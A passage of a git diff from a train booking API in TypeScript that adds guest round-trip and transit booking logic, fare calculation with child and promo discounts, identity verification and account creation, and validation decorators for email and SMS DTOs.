true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + }), + ]); + if (!outboundSchedule) throw new NotFoundException('Outbound schedule not found'); + if (!returnSchedule) throw new NotFoundException('Return schedule not found'); + + const outboundOriginStop = outboundSchedule.stopTimes.find(s => s.stationId === dto.originStationId); + const outboundDestStop = outboundSchedule.stopTimes.find(s => s.stationId === dto.destinationStationId); + const returnOriginStop = returnSchedule.stopTimes.find(s => s.stationId === dto.returnOriginStationId); + const returnDestStop = returnSchedule.stopTimes.find(s => s.stationId === dto.returnDestinationStationId); + if (!outboundOriginStop || !outboundDestStop) throw new NotFoundException('Outbound origin or destination not found on schedule'); + if (!returnOriginStop || !returnDestStop) throw new NotFoundException('Return origin or destination not found on schedule'); + + const outboundSegmentRoute = `${outboundOriginStop.station.code}-${outboundDestStop.station.code}`; + const outboundFullRoute = `${outboundSchedule.originStation.code}-${outboundSchedule.destinationStation.code}`; + const returnSegmentRoute = `${returnOriginStop.station.code}-${returnDestStop.station.code}`; + const returnFullRoute = `${returnSchedule.originStation.code}-${returnSchedule.destinationStation.code}`; + + // Process passengers (verify identity once โ€” same person travels both legs) + const passengersData: any[] = []; + let adultCount = 0, childCount = 0; + + for (const passenger of dto.passengers) { + const dateOfBirth = new Date(passenger.dateOfBirth); + const age = calculateAge(dateOfBirth); + const category: PassengerCategory = age < 5 ? PassengerCategory.CHILD : PassengerCategory.ADULT; + if (category === PassengerCategory.ADULT) adultCount++; else childCount++; + + let passengerName = passenger.passengerName; + let verifaydaVerified = false; + let verifaydaData: Record | undefined; + let nationality = passenger.nationality; + + const isEthiopian = passenger.nationality === 'Ethiopian' || + passenger.nationality === 'ETHIOPIAN' || + passenger.idDocumentType === IdDocumentType.NATIONAL_ID; + + if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID) { + if (passenger.idDocumentNumber) { + const verification = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber); + if (!verification.verified) throw new BadRequestException(`Verifayda verification failed for ${passenger.passengerName}: ${verification.failureReason}`); + passengerName = verification.passengerData?.fullName || passengerName; + verifaydaVerified = true; + verifaydaData = verification.passengerData?.profileData; + } + nationality = 'Ethiopian'; + } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { + if (!passenger.passportNumber || !passenger.passportCountry) throw new BadRequestException(`Passport number and country required for ${passenger.passengerName}`); + nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other'); + } else if (isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { + nationality = 'Ethiopian'; + } else { + nationality = nationality || 'Other'; + } + + passengersData.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality }); + } + + // Calculate fares for both legs + const returnSeatClassId = dto.returnSeatClassId || dto.seatClassId; + const primaryNationality = passengersData[0]?.nationality; + + const [outboundBaseFare, returnBaseFare] = await Promise.all([ + this.getBaseFare(dto.scheduleId, dto.seatClassId, outboundSegmentRoute, outboundFullRoute, primaryNationality), + this.getBaseFare(dto.returnScheduleId, returnSeatClassId, returnSegmentRoute, returnFullRoute, primaryNationality), + ]); + + const paidChildrenCount = Math.max(0, childCount - 1); + const outboundTotalBase = outboundBaseFare * adultCount + outboundBaseFare * paidChildrenCount; + const returnTotalBase = returnBaseFare * adultCount + returnBaseFare * paidChildrenCount; + const combinedBaseFareMinor = outboundTotalBase + returnTotalBase; + + let discountMinor = 0; + if (dto.promoCode) { + const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } }); + if (promo?.active && promo.validUntil > new Date()) { + discountMinor = promo.percentOff + ? Math.round(combinedBaseFareMinor * promo.percentOff / 100) + : (promo.amountOffMinor ?? 0); + } + } + + const taxesMinor = Math.round(combinedBaseFareMinor * 0.05); + const totalMinor = Math.max(0, combinedBaseFareMinor - discountMinor + taxesMinor); + + const displayCurrency = dto.displayCurrency || Currency.ETB; + const displayTotalMinor = displayCurrency !== Currency.ETB + ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency) + : totalMinor; + + // Create or resolve guest passenger (same as one-way) + const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, passengersData[0]); + + // Create booking with outbound seats; return seats confirmed separately + const outboundSeatIds = dto.passengers.map(p => p.seatId); + const returnSeatIds = dto.passengers.map(p => p.returnSeatId!); + + const booking = await this.prisma.booking.create({ + data: { + bookingRef: generateRef(), + passengerId: guestPassenger.id, + scheduleId: dto.scheduleId, + status: 'PENDING_PAYMENT', + bookingType: 'ROUND_TRIP', + totalMinor, + adultCount, + childCount, + displayCurrency, + displayTotalMinor, + returnScheduleId: dto.returnScheduleId, + returnOriginStationId: dto.returnOriginStationId, + returnDestinationStationId: dto.returnDestinationStationId, + returnHoldId: dto.returnHoldId, + returnSeatClassId, + returnLegStatus: 'NEITHER_USED', + userAgent: dto.deviceId, + seats: { + create: [ + ...passengersData.map((p) => ({ + seat: { connect: { id: p.seatId } }, + leg: 1, + scheduleId: dto.scheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData || undefined, + fareMinor: p.category === PassengerCategory.ADULT ? outboundBaseFare : (paidChildrenCount > 0 ? outboundBaseFare : 0), + displayCurrency, + })), + ...passengersData.map((p) => ({ + seat: { connect: { id: p.returnSeatId } }, + leg: 2, + scheduleId: dto.returnScheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData || undefined, + fareMinor: p.category === PassengerCategory.ADULT ? returnBaseFare : (paidChildrenCount > 0 ? returnBaseFare : 0), + displayCurrency, + })), + ], + }, + } as any, + include: { + seats: { include: { seat: { include: { coach: true } } } }, + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + }, + }); + + await Promise.all([ + this.seatsService.confirmSeats(outboundSeatIds), + this.seatsService.confirmSeats(returnSeatIds), + ]); + this.eventEmitter.emit('booking.created', { booking }); + + return { + ...booking, + createdAccount, + userId, + fareBreakdown: { + outboundBaseFareMinor: outboundBaseFare, + returnBaseFareMinor: returnBaseFare, + adultCount, + childCount, + freeChildrenCount: Math.min(childCount, 1), + paidChildrenCount, + combinedBaseFareMinor, + discountMinor, + taxesFeesMinor: taxesMinor, + totalMinor, + currency: 'ETB', + displayCurrency, + displayTotalMinor, + }, + }; + } + + private async createGuestTransitBooking(dto: CreateGuestBookingDto) { + if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId) { + throw new BadRequestException('leg2ScheduleId, leg2HoldId, transitStationId and leg2DestinationStationId are required for TRANSIT bookings'); + } + + const [leg1Hold, leg2Hold] = await Promise.all([ + this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }), + ]); + if (!leg1Hold || leg1Hold.expiresAt < new Date()) throw new BadRequestException('Leg-1 seat hold expired or not found'); + if (!leg2Hold || leg2Hold.expiresAt < new Date()) throw new BadRequestException('Leg-2 seat hold expired or not found'); + + for (const p of dto.passengers) { + if (!p.leg2SeatId) throw new BadRequestException(`leg2SeatId is required for each passenger in a TRANSIT booking (missing for ${p.passengerName})`); + } + + const [leg1Schedule, leg2Schedule] = await Promise.all([ + this.prisma.trainSchedule.findUnique({ + where: { id: dto.scheduleId }, + include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + }), + this.prisma.trainSchedule.findUnique({ + where: { id: dto.leg2ScheduleId }, + include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + }), + ]); + if (!leg1Schedule) throw new NotFoundException('Leg-1 schedule not found'); + if (!leg2Schedule) throw new NotFoundException('Leg-2 schedule not found'); + + const leg1OriginStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.originStationId); + const leg1DestStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.transitStationId); + const leg2OriginStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.transitStationId); + const leg2DestStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId); + if (!leg1OriginStop || !leg1DestStop) throw new NotFoundException('Leg-1 origin or transit station not found on schedule'); + if (!leg2OriginStop || !leg2DestStop) throw new NotFoundException('Transit or leg-2 destination not found on leg-2 schedule'); + + // Process passengers (verify identity once) + const passengersData: any[] = []; + let adultCount = 0, childCount = 0; + for (const passenger of dto.passengers) { + const dateOfBirth = new Date(passenger.dateOfBirth); + const age = calculateAge(dateOfBirth); + const category: PassengerCategory = age < 5 ? PassengerCategory.CHILD : PassengerCategory.ADULT; + if (category === PassengerCategory.ADULT) adultCount++; else childCount++; + + let passengerName = passenger.passengerName; + let verifaydaVerified = false; + let verifaydaData: Record | undefined; + let nationality = passenger.nationality; + + const isEthiopian = passenger.nationality === 'Ethiopian' || passenger.nationality === 'ETHIOPIAN' || passenger.idDocumentType === IdDocumentType.NATIONAL_ID; + if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID && passenger.idDocumentNumber) { + const verification = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber); + if (!verification.verified) throw new BadRequestException(`Verifayda verification failed for ${passenger.passengerName}: ${verification.failureReason}`); + passengerName = verification.passengerData?.fullName || passengerName; + verifaydaVerified = true; + verifaydaData = verification.passengerData?.profileData; + nationality = 'Ethiopian'; + } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { + if (!passenger.passportNumber || !passenger.passportCountry) throw new BadRequestException(`Passport details required for ${passenger.passengerName}`); + nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other'); + } else { + nationality = nationality || 'Other'; + } + passengersData.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality }); + } + + const leg2SeatClassId = dto.leg2SeatClassId || dto.seatClassId; + const primaryNationality = passengersData[0]?.nationality; + const paidChildrenCount = Math.max(0, childCount - 1); + + const [leg1BaseFare, leg2BaseFare] = await Promise.all([ + this.getBaseFare(dto.scheduleId, dto.seatClassId, + `${leg1OriginStop.station.code}-${leg1DestStop.station.code}`, + `${leg1Schedule.originStation.code}-${leg1Schedule.destinationStation.code}`, + primaryNationality), + this.getBaseFare(dto.leg2ScheduleId, leg2SeatClassId, + `${leg2OriginStop.station.code}-${leg2DestStop.station.code}`, + `${leg2Schedule.originStation.code}-${leg2Schedule.destinationStation.code}`, + primaryNationality), + ]); + + const leg1Total = leg1BaseFare * adultCount + leg1BaseFare * paidChildrenCount; + const leg2Total = leg2BaseFare * adultCount + leg2BaseFare * paidChildrenCount; + const combinedBase = leg1Total + leg2Total; + + let discountMinor = 0; + if (dto.promoCode) { + const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } }); + if (promo?.active && promo.validUntil > new Date()) { + discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0); + } + } + const taxesMinor = Math.round(combinedBase * 0.05); + const totalMinor = Math.max(0, combinedBase - discountMinor + taxesMinor); + + const displayCurrency = dto.displayCurrency || Currency.ETB; + const displayTotalMinor = displayCurrency !== Currency.ETB + ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency) + : totalMinor; + + const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, passengersData[0]); + + // Single booking โ€” leg-1 seats at leg=1, leg-2 seats at leg=2 + const booking = await this.prisma.booking.create({ + data: { + bookingRef: generateRef(), + passengerId: guestPassenger.id, + scheduleId: dto.scheduleId, + status: 'PENDING_PAYMENT', + bookingType: 'TRANSIT', + totalMinor, + adultCount, + childCount, + displayCurrency, + displayTotalMinor, + leg2ScheduleId: dto.leg2ScheduleId, + leg2OriginStationId: dto.transitStationId, + leg2DestinationStationId: dto.leg2DestinationStationId, + leg2SeatClassId: leg2SeatClassId, + userAgent: dto.deviceId, + seats: { + create: [ + ...passengersData.map(p => ({ + seat: { connect: { id: p.seatId } }, + leg: 1, + scheduleId: dto.scheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData || undefined, + fareMinor: p.category === PassengerCategory.ADULT ? leg1BaseFare : (paidChildrenCount > 0 ? leg1BaseFare : 0), + displayCurrency, + })), + ...passengersData.map(p => ({ + seat: { connect: { id: p.leg2SeatId! } }, + leg: 2, + scheduleId: dto.leg2ScheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData || undefined, + fareMinor: p.category === PassengerCategory.ADULT ? leg2BaseFare : (paidChildrenCount > 0 ? leg2BaseFare : 0), + displayCurrency, + })), + ], + }, + } as any, + include: { + seats: { include: { seat: { include: { coach: true } } } }, + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + }, + }); + + await Promise.all([ + this.seatsService.confirmSeats(dto.passengers.map(p => p.seatId)), + this.seatsService.confirmSeats(dto.passengers.map(p => p.leg2SeatId!)), + ]); + this.eventEmitter.emit('booking.created', { booking }); + + return { + ...booking, + createdAccount, + userId, + fareBreakdown: { + leg1BaseFareMinor: leg1BaseFare, + leg2BaseFareMinor: leg2BaseFare, + adultCount, childCount, + freeChildrenCount: Math.min(childCount, 1), + paidChildrenCount, + combinedBaseFareMinor: combinedBase, + discountMinor, taxesFeesMinor: taxesMinor, totalMinor, + currency: 'ETB', displayCurrency, displayTotalMinor, + }, + }; + } + + private async createGuestRoundTripTransitBooking(dto: CreateGuestBookingDto) { + if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId || + !dto.returnScheduleId || !dto.returnHoldId || !dto.returnOriginStationId || !dto.returnDestinationStationId || + !dto.returnLeg2ScheduleId || !dto.returnLeg2HoldId || !dto.returnTransitStationId || !dto.returnLeg2DestinationStationId) { + throw new BadRequestException( + 'ROUND_TRIP_TRANSIT requires all 4 holds and all transit/return station fields', + ); + } + for (const p of dto.passengers) { + if (!p.leg2SeatId) throw new BadRequestException(`leg2SeatId required for ${p.passengerName}`); + if (!p.returnSeatId) throw new BadRequestException(`returnSeatId required for ${p.passengerName}`); + if (!p.returnLeg2SeatId) throw new BadRequestException(`returnLeg2SeatId required for ${p.passengerName}`); + } + + const now = new Date(); + const [obL1Hold, obL2Hold, retL1Hold, retL2Hold] = await Promise.all([ + this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.returnHoldId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.returnLeg2HoldId } }), + ]); + if (!obL1Hold || obL1Hold.expiresAt < now) throw new BadRequestException('Outbound leg-1 hold expired'); + if (!obL2Hold || obL2Hold.expiresAt < now) throw new BadRequestException('Outbound leg-2 hold expired'); + if (!retL1Hold || retL1Hold.expiresAt < now) throw new BadRequestException('Return leg-1 hold expired'); + if (!retL2Hold || retL2Hold.expiresAt < now) throw new BadRequestException('Return leg-2 hold expired'); + + const [obL1Sched, obL2Sched, retL1Sched, retL2Sched] = await Promise.all([ + this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + this.prisma.trainSchedule.findUnique({ where: { id: dto.leg2ScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + this.prisma.trainSchedule.findUnique({ where: { id: dto.returnScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + this.prisma.trainSchedule.findUnique({ where: { id: dto.returnLeg2ScheduleId },include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + ]); + if (!obL1Sched) throw new NotFoundException('Outbound leg-1 schedule not found'); + if (!obL2Sched) throw new NotFoundException('Outbound leg-2 schedule not found'); + if (!retL1Sched) throw new NotFoundException('Return leg-1 schedule not found'); + if (!retL2Sched) throw new NotFoundException('Return leg-2 schedule not found'); + + const obL1Origin = obL1Sched.stopTimes.find(s => s.stationId === dto.originStationId); + const obL1Dest = obL1Sched.stopTimes.find(s => s.stationId === dto.transitStationId); + const obL2Origin = obL2Sched.stopTimes.find(s => s.stationId === dto.transitStationId); + const obL2Dest = obL2Sched.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId); + const retL1Origin = retL1Sched.stopTimes.find(s => s.stationId === dto.returnOriginStationId); + const retL1Dest = retL1Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId); + const retL2Origin = retL2Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId); + const retL2Dest = retL2Sched.stopTimes.find(s => s.stationId === dto.returnLeg2DestinationStationId); + if (!obL1Origin || !obL1Dest) throw new NotFoundException('Outbound leg-1: origin or transit stop not found'); + if (!obL2Origin || !obL2Dest) throw new NotFoundException('Outbound leg-2: transit or destination stop not found'); + if (!retL1Origin || !retL1Dest) throw new NotFoundException('Return leg-1: origin or transit stop not found'); + if (!retL2Origin || !retL2Dest) throw new NotFoundException('Return leg-2: transit or destination stop not found'); + + // Process passengers (verify once) + const passengersData: any[] = []; + let adultCount = 0, childCount = 0; + for (const passenger of dto.passengers) { + const dateOfBirth = new Date(passenger.dateOfBirth); + const category: PassengerCategory = calculateAge(dateOfBirth) < 5 ? PassengerCategory.CHILD : PassengerCategory.ADULT; + if (category === PassengerCategory.ADULT) adultCount++; else childCount++; + let passengerName = passenger.passengerName; + let verifaydaVerified = false; + let verifaydaData: Record | undefined; + let nationality = passenger.nationality; + const isEthiopian = nationality === 'Ethiopian' || nationality === 'ETHIOPIAN' || passenger.idDocumentType === IdDocumentType.NATIONAL_ID; + if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID && passenger.idDocumentNumber) { + const v = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber); + if (!v.verified) throw new BadRequestException(`Verifayda failed for ${passenger.passengerName}: ${v.failureReason}`); + passengerName = v.passengerData?.fullName || passengerName; + verifaydaVerified = true; + verifaydaData = v.passengerData?.profileData; + nationality = 'Ethiopian'; + } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { + if (!passenger.passportNumber || !passenger.passportCountry) throw new BadRequestException(`Passport details required for ${passenger.passengerName}`); + nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other'); + } else { + nationality = nationality || 'Other'; + } + passengersData.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality }); + } + + const nat = passengersData[0]?.nationality; + const paidChildren = Math.max(0, childCount - 1); + const obL2ClassId = dto.leg2SeatClassId ?? dto.seatClassId; + const retL1ClassId = dto.returnSeatClassId ?? dto.seatClassId; + const retL2ClassId = dto.returnLeg2SeatClassId ?? dto.seatClassId; + + const [obL1Fare, obL2Fare, retL1Fare, retL2Fare] = await Promise.all([ + this.getBaseFare(dto.scheduleId, dto.seatClassId, `${obL1Origin.station.code}-${obL1Dest.station.code}`, `${obL1Sched.originStation.code}-${obL1Sched.destinationStation.code}`, nat), + this.getBaseFare(dto.leg2ScheduleId!, obL2ClassId, `${obL2Origin.station.code}-${obL2Dest.station.code}`, `${obL2Sched.originStation.code}-${obL2Sched.destinationStation.code}`, nat), + this.getBaseFare(dto.returnScheduleId!, retL1ClassId, `${retL1Origin.station.code}-${retL1Dest.station.code}`, `${retL1Sched.originStation.code}-${retL1Sched.destinationStation.code}`, nat), + this.getBaseFare(dto.returnLeg2ScheduleId!,retL2ClassId, `${retL2Origin.station.code}-${retL2Dest.station.code}`, `${retL2Sched.originStation.code}-${retL2Sched.destinationStation.code}`, nat), + ]); + + const combinedBase = (obL1Fare + obL2Fare + retL1Fare + retL2Fare) * adultCount + + (obL1Fare + obL2Fare + retL1Fare + retL2Fare) * paidChildren; + let discountMinor = 0; + if (dto.promoCode) { + const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } }); + if (promo?.active && promo.validUntil > new Date()) { + discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0); + } + } + const taxesMinor = Math.round(combinedBase * 0.05); + const totalMinor = Math.max(0, combinedBase - discountMinor + taxesMinor); + const displayCurrency = dto.displayCurrency || Currency.ETB; + const displayTotalMinor = displayCurrency !== Currency.ETB + ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency) + : totalMinor; + + const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, passengersData[0]); + + const makeSeat = (p: any, seatId: string, leg: number, scheduleId: string, fare: number) => ({ + seat: { connect: { id: seatId } }, + leg, + scheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData || undefined, + fareMinor: p.category === PassengerCategory.ADULT ? fare : (paidChildren > 0 ? fare : 0), + displayCurrency, + }); + + const booking = await this.prisma.booking.create({ + data: { + bookingRef: generateRef(), + passengerId: guestPassenger.id, + scheduleId: dto.scheduleId, + status: 'PENDING_PAYMENT', + bookingType: 'ROUND_TRIP_TRANSIT', + totalMinor, adultCount, childCount, displayCurrency, displayTotalMinor, + leg2ScheduleId: dto.leg2ScheduleId, + leg2OriginStationId: dto.transitStationId, + leg2DestinationStationId: dto.leg2DestinationStationId, + leg2SeatClassId: obL2ClassId, + returnScheduleId: dto.returnScheduleId, + returnOriginStationId: dto.returnOriginStationId, + returnDestinationStationId: dto.returnDestinationStationId, + returnSeatClassId: retL1ClassId, + returnLeg2ScheduleId: dto.returnLeg2ScheduleId, + returnLeg2OriginStationId: dto.returnTransitStationId, + returnLeg2DestStationId: dto.returnLeg2DestinationStationId, + returnLeg2SeatClassId: retL2ClassId, + returnLegStatus: 'NEITHER_USED', + userAgent: dto.deviceId, + seats: { + create: [ + ...passengersData.map(p => makeSeat(p, p.seatId, 1, dto.scheduleId, obL1Fare)), + ...passengersData.map(p => makeSeat(p, p.leg2SeatId!, 2, dto.leg2ScheduleId!, obL2Fare)), + ...passengersData.map(p => makeSeat(p, p.returnSeatId!, 3, dto.returnScheduleId!, retL1Fare)), + ...passengersData.map(p => makeSeat(p, p.returnLeg2SeatId!,4, dto.returnLeg2ScheduleId!,retL2Fare)), + ], + }, + } as any, + include: { + seats: { include: { seat: { include: { coach: true } } } }, + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + }, + }); + + await Promise.all([ + this.seatsService.confirmSeats(dto.passengers.map(p => p.seatId)), + this.seatsService.confirmSeats(dto.passengers.map(p => p.leg2SeatId!)), + this.seatsService.confirmSeats(dto.passengers.map(p => p.returnSeatId!)), + this.seatsService.confirmSeats(dto.passengers.map(p => p.returnLeg2SeatId!)), + ]); + this.eventEmitter.emit('booking.created', { booking }); + + return { + ...booking, + createdAccount, + userId, + fareBreakdown: { + outboundLeg1FareMinor: obL1Fare, + outboundLeg2FareMinor: obL2Fare, + returnLeg1FareMinor: retL1Fare, + returnLeg2FareMinor: retL2Fare, + adultCount, childCount, + freeChildrenCount: Math.min(childCount, 1), + paidChildrenCount: paidChildren, + combinedBaseFareMinor: combinedBase, + discountMinor, taxesFeesMinor: taxesMinor, totalMinor, + currency: 'ETB', displayCurrency, displayTotalMinor, + }, + }; + } + + private async resolveGuestPassenger( + dto: Pick, + firstPassenger: any, + ): Promise<{ guestPassenger: any; userId: string | null; createdAccount: boolean }> { + if (dto.createAccount && firstPassenger.email && dto.password) { + const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); + if (existingUser) throw new BadRequestException('Email already registered. Please login instead.'); + + let accountPhone = firstPassenger.phone || null; + if (accountPhone) { + const existingPhone = await this.prisma.user.findUnique({ where: { phone: accountPhone } }); + if (existingPhone) throw new BadRequestException('Phone number already registered. Please login instead.'); + } + if (!accountPhone) accountPhone = `+guest-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; + + const user = await this.prisma.user.create({ + data: { + fullName: firstPassenger.passengerName, + email: firstPassenger.email, + phone: accountPhone, + passwordHash: await bcrypt.hash(dto.password, 10), + nationality: firstPassenger.nationality, + nationalId: firstPassenger.idDocumentType === IdDocumentType.NATIONAL_ID ? firstPassenger.idDocumentNumber : undefined, + passportNumber: firstPassenger.passportNumber, + }, + }); + const guestPassenger = await this.prisma.passenger.create({ data: { userId: user.id } }); + await this.prisma.loyaltyAccount.create({ data: { passengerId: guestPassenger.id, pointsBalance: 0, tier: 'BRONZE' } }); + await this.prisma.walletAccount.create({ data: { passengerId: guestPassenger.id, balanceMinor: 0 } }); + return { guestPassenger, userId: user.id, createdAccount: true }; + } + + const uniqueId = `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; + let guestEmail = firstPassenger.email || `guest-${uniqueId}@edr-platform.com`; + if (firstPassenger.email) { + const existing = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); + if (existing) guestEmail = `guest-${uniqueId}@edr-platform.com`; + } + let guestPhone = firstPassenger.phone || null; + if (guestPhone) { + const existing = await this.prisma.user.findUnique({ where: { phone: guestPhone } }); + if (existing) guestPhone = null; + } + if (!guestPhone) guestPhone = `+guest-${uniqueId}`; + + const tempUser = await this.prisma.user.create({ + data: { + fullName: firstPassenger.passengerName, + email: guestEmail, + phone: guestPhone, + passwordHash: await bcrypt.hash(Math.random().toString(36), 10), + role: 'PASSENGER', + }, + }); + const guestPassenger = await this.prisma.passenger.create({ data: { userId: tempUser.id } }); + return { guestPassenger, userId: null, createdAccount: false }; + } + async getSavedPassengers(userId?: string, deviceId?: string): Promise { if (!userId && !deviceId) { throw new BadRequestException('Either userId or deviceId is required'); @@ -343,6 +926,8 @@ export class GuestBookingService { nationality?: string, ): Promise { const now = new Date(); + + // 1. FareRule table โ€” explicit override rules const candidates = await this.prisma.fareRule.findMany({ where: { seatClassId, @@ -368,14 +953,34 @@ export class GuestBookingService { for (const priority of priorities) { const match = candidates.find( - (c) => - c.tripId === priority.tripId && - c.route === priority.route && - c.nationality === priority.nationality, + (c) => c.tripId === priority.tripId && c.route === priority.route && c.nationality === priority.nationality, ); if (match) return match.baseFareMinor; } - return 35000; // Default fallback + // 2. FareEngine โ€” distance ร— rate-per-km from the schedule's route + const schedule = await this.prisma.trainSchedule.findUnique({ + where: { id: scheduleId }, + select: { routeId: true, originStationId: true, destinationStationId: true }, + }); + + if (schedule?.routeId) { + try { + const fare = await this.fareEngine.calculate({ + routeId: schedule.routeId, + originStationId: schedule.originStationId, + destinationStationId: schedule.destinationStationId, + seatClassId, + nationality, + }); + return fare.baseFarePerPassengerMinor; + } catch { + // FareEngine throws if distanceKm is missing; fall through to error + } + } + + throw new BadRequestException( + `No fare configured for this schedule and seat class. Please set up fare rules or route distances.`, + ); } } diff --git a/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts b/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts index 63bbc4a5a..a435fa4ce 100644 --- a/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts +++ b/apps/edr-passenger-api/src/modules/notifications/dtos/email.dto.ts @@ -1,8 +1,57 @@ +import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; +import { IsEmail, IsNotEmpty, IsOptional, IsString } from 'class-validator'; + export class SendEmail { + @ApiProperty() + @IsEmail() + @IsNotEmpty() to: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + sourceId?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + sourceName?: string; + + @ApiProperty() + @IsNotEmpty() + @IsString() subject: string; - body: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() html?: string; - templateKey?: string; - context?: Record; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + text?: string; + + @ApiPropertyOptional() + @IsOptional() + body?: string; + + @ApiPropertyOptional() + @IsOptional() + context?: Record; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + templateName?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsEmail() + from?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsEmail() + replyTo?: string; } diff --git a/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts b/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts index 1897f7794..2841597fc 100644 --- a/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts +++ b/apps/edr-passenger-api/src/modules/notifications/dtos/sms.dto.ts @@ -1,9 +1,28 @@ +import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; +import { IsArray, IsNotEmpty, IsOptional, IsString, ValidateNested } from 'class-validator'; +import { Type } from 'class-transformer'; + export class SendMessage { + @ApiProperty() + @IsNotEmpty() + @IsString() to: string; + + @ApiProperty() + @IsNotEmpty() + @IsString() message: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() from?: string; } export class BulkMessagesDto { + @ApiProperty({ type: 